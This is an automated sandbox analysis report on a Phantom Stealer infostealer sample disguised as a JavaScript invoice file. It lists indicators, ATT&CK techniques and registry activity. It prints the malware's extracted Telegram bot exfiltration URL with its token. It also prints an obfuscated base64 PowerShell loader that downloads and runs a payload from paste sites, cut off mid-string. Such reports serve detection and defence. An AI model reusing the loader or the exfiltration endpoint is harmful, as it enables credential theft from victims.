phantom_stealer | b31a02caad591b90d832673d25c533524d1a3a73a4d3208abce82fe74ff22997

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
17/04/2026, 14:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Factura.PDF.js
Size 65KB
Sample260417-rh9hsagy2n
SHA256 b31a02caad591b90d832673d25c533524d1a3a73a4d3208abce82fe74ff22997
MD5 21a1309d493edafc14d16cfae2858659
SHA1 ac01d136917bb81a26572f42bafc7f95aaee09d0
SHA512 98f191803c748f5157d17f2200d13dbec3ea53ee7114262baeadfa127c3a6f5f4a8624c596c520132555c1806404272546e29ee520a9ffad398c3885d6e1aa78
SSDEEP 768:hC71U80/mdqV61bt0INWELnqKId7TJh1TAsSRPkr1ruFzYW/+AQbCi8VSrhqWS4X:6y1hQa
TLSH
T1366325E925CF8C0CBD6BDB02F316275CC9E674930B303636A6671688EFF794A6A14474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution phantom_stealer persistence spyware stealer

Malware Config

Extracted

Family

phantom_stealer

Version

v3.5.0

https://api.telegram.org/bot8525025862:AAH0P4DSwyHm90tqc8Dni0Yz87j3g_viE6U/sendMessage?chat_id=7629232865

Mutex

XG71LIFOBOOO57AY702H

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
0
keylogger
0
start_delay
0
startup
0

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 2 IoCs

resource	yara_rule
behavioral1/memory/5328-30-0x00000000000B0000-0x000000000017C000-memory.dmp	family_phantomstealer
behavioral1/memory/5328-37-0x00000000000B0000-0x000000000016E000-memory.dmp	family_phantomstealer

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2460	1072	powershell.exe	87

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
16	2460	powershell.exe
18	2460	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2460	powershell.exe
5916	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\igihoaFfkm = "wscript.exe \"C:\\ProgramData\\Nr1.js\""	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
362	icanhazip.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2460 set thread context of 5328	2460	powershell.exe	101

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Crashpad\metadata	chrmstp.exe
File opened for modification	C:\Program Files\Crashpad\settings.dat	chrmstp.exe
File opened for modification	C:\Program Files\chrome_installer.log	chrmstp.exe
File opened for modification	C:\Program Files\Crashpad\metadata	chrmstp.exe
File opened for modification	C:\Program Files\Crashpad\settings.dat	chrmstp.exe
File opened for modification	C:\Program Files\chrome_installer.log	chrmstp.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

System Time Discovery 1 TTPs 4 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2476	chrome.exe
5968	msedge.exe
5116	msedge.exe
5236	chrome.exe

Checks processor information in registry 2 TTPs 46 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
1348	taskkill.exe
5620	taskkill.exe
4084	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134209088671459084"	chrome.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	chrmstp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe
5916	powershell.exe
5916	powershell.exe
5328	RegAsm.exe
5328	RegAsm.exe
1144	chrome.exe
1144	chrome.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
5328	RegAsm.exe
6080	firefox.exe
6080	firefox.exe
6080	firefox.exe
6080	firefox.exe
6080	firefox.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	5916	powershell.exe
Token: SeDebugPrivilege	1348	taskkill.exe
Token: SeDebugPrivilege	5620	taskkill.exe
Token: SeDebugPrivilege	4084	taskkill.exe
Token: SeDebugPrivilege	5328	RegAsm.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	1144	chrome.exe
Token: SeCreatePagefilePrivilege	1144	chrome.exe
Token: SeShutdownPrivilege	5552	chrome.exe
Token: SeCreatePagefilePrivilege	5552	chrome.exe
Token: SeShutdownPrivilege	5552	chrome.exe
Token: SeCreatePagefilePrivilege	5552	chrome.exe
Token: SeShutdownPrivilege	5552	chrome.exe
Token: SeCreatePagefilePrivilege	5552	chrome.exe

Suspicious use of FindShellTrayWindow 23 IoCs

pid	Process
1144	chrome.exe
1144	chrome.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
3796	firefox.exe
1184	msedge.exe
4740	msedge.exe
6080	firefox.exe
6080	firefox.exe
6080	firefox.exe
6080	firefox.exe
6080	firefox.exe
6080	firefox.exe
6080	firefox.exe
6080	firefox.exe
5552	chrome.exe
5552	chrome.exe
408	chrmstp.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3796	firefox.exe
6080	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2460 wrote to memory of 5916	2460	powershell.exe	93
PID 5916 wrote to memory of 5808	5916	powershell.exe	95
PID 5808 wrote to memory of 1348	5808	cmd.exe	97
PID 5808 wrote to memory of 5620	5808	cmd.exe	99
PID 5808 wrote to memory of 4084	5808	cmd.exe	100
PID 2460 wrote to memory of 5328	2460	powershell.exe	101
PID 2460 wrote to memory of 5328	2460	powershell.exe	101
PID 2460 wrote to memory of 5328	2460	powershell.exe	101
PID 2460 wrote to memory of 5328	2460	powershell.exe	101
PID 2460 wrote to memory of 5328	2460	powershell.exe	101
PID 5328 wrote to memory of 1144	5328	RegAsm.exe	102
PID 1144 wrote to memory of 5352	1144	chrome.exe	103
PID 5328 wrote to memory of 1144	5328	RegAsm.exe	102
PID 5328 wrote to memory of 1144	5328	RegAsm.exe	102
PID 1144 wrote to memory of 4164	1144	chrome.exe	104
PID 1144 wrote to memory of 2476	1144	chrome.exe	105
PID 1144 wrote to memory of 5356	1144	chrome.exe	106
PID 5328 wrote to memory of 5352	5328	RegAsm.exe	103
PID 5328 wrote to memory of 5352	5328	RegAsm.exe	103
PID 1144 wrote to memory of 6044	1144	chrome.exe	107
PID 1144 wrote to memory of 1060	1144	chrome.exe	108
PID 1144 wrote to memory of 5528	1144	chrome.exe	109
PID 1144 wrote to memory of 5348	1144	chrome.exe	110
PID 5328 wrote to memory of 4164	5328	RegAsm.exe	104
PID 5328 wrote to memory of 4164	5328	RegAsm.exe	104
PID 5328 wrote to memory of 5348	5328	RegAsm.exe	110
PID 5328 wrote to memory of 5348	5328	RegAsm.exe	110
PID 5328 wrote to memory of 1144	5328	RegAsm.exe	102
PID 5328 wrote to memory of 1144	5328	RegAsm.exe	102
PID 1144 wrote to memory of 1204	1144	chrome.exe	111
PID 1144 wrote to memory of 2116	1144	chrome.exe	112
PID 5328 wrote to memory of 5528	5328	RegAsm.exe	109
PID 5328 wrote to memory of 5528	5328	RegAsm.exe	109
PID 5328 wrote to memory of 2476	5328	RegAsm.exe	105
PID 5328 wrote to memory of 2476	5328	RegAsm.exe	105
PID 5328 wrote to memory of 1060	5328	RegAsm.exe	108
PID 5328 wrote to memory of 1060	5328	RegAsm.exe	108
PID 5328 wrote to memory of 5356	5328	RegAsm.exe	106
PID 5328 wrote to memory of 5356	5328	RegAsm.exe	106
PID 1144 wrote to memory of 4820	1144	chrome.exe	113
PID 5328 wrote to memory of 5352	5328	RegAsm.exe	103
PID 5328 wrote to memory of 5352	5328	RegAsm.exe	103
PID 5328 wrote to memory of 1204	5328	RegAsm.exe	111
PID 5328 wrote to memory of 1204	5328	RegAsm.exe	111
PID 5328 wrote to memory of 4164	5328	RegAsm.exe	104
PID 5328 wrote to memory of 4164	5328	RegAsm.exe	104
PID 5328 wrote to memory of 5348	5328	RegAsm.exe	110
PID 5328 wrote to memory of 5348	5328	RegAsm.exe	110
PID 5328 wrote to memory of 1144	5328	RegAsm.exe	102
PID 5328 wrote to memory of 1144	5328	RegAsm.exe	102
PID 5328 wrote to memory of 4820	5328	RegAsm.exe	113
PID 5328 wrote to memory of 4820	5328	RegAsm.exe	113
PID 5328 wrote to memory of 5528	5328	RegAsm.exe	109
PID 5328 wrote to memory of 5528	5328	RegAsm.exe	109
PID 5328 wrote to memory of 2476	5328	RegAsm.exe	105
PID 5328 wrote to memory of 2476	5328	RegAsm.exe	105
PID 5328 wrote to memory of 1060	5328	RegAsm.exe	108
PID 5328 wrote to memory of 1060	5328	RegAsm.exe	108
PID 5328 wrote to memory of 5356	5328	RegAsm.exe	106
PID 5328 wrote to memory of 5356	5328	RegAsm.exe	106
PID 5328 wrote to memory of 2116	5328	RegAsm.exe	112
PID 5328 wrote to memory of 2116	5328	RegAsm.exe	112
PID 5328 wrote to memory of 5352	5328	RegAsm.exe	103
PID 5328 wrote to memory of 5352	5328	RegAsm.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Factura.PDF.js
1⤵
PID:5244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$ddsfdfdjhsdfgdgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBpAGkANQBQAGYAQwB6ADgAMwBhAFQAYwBEAGcASwAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAcABhAHMAdABlAGYAeQAuAGEAcABwAC8AMQBiAGwAZgBxAHkAdgBhAC8AcgBhAHcAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAJABsAGkAbgBf#AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAI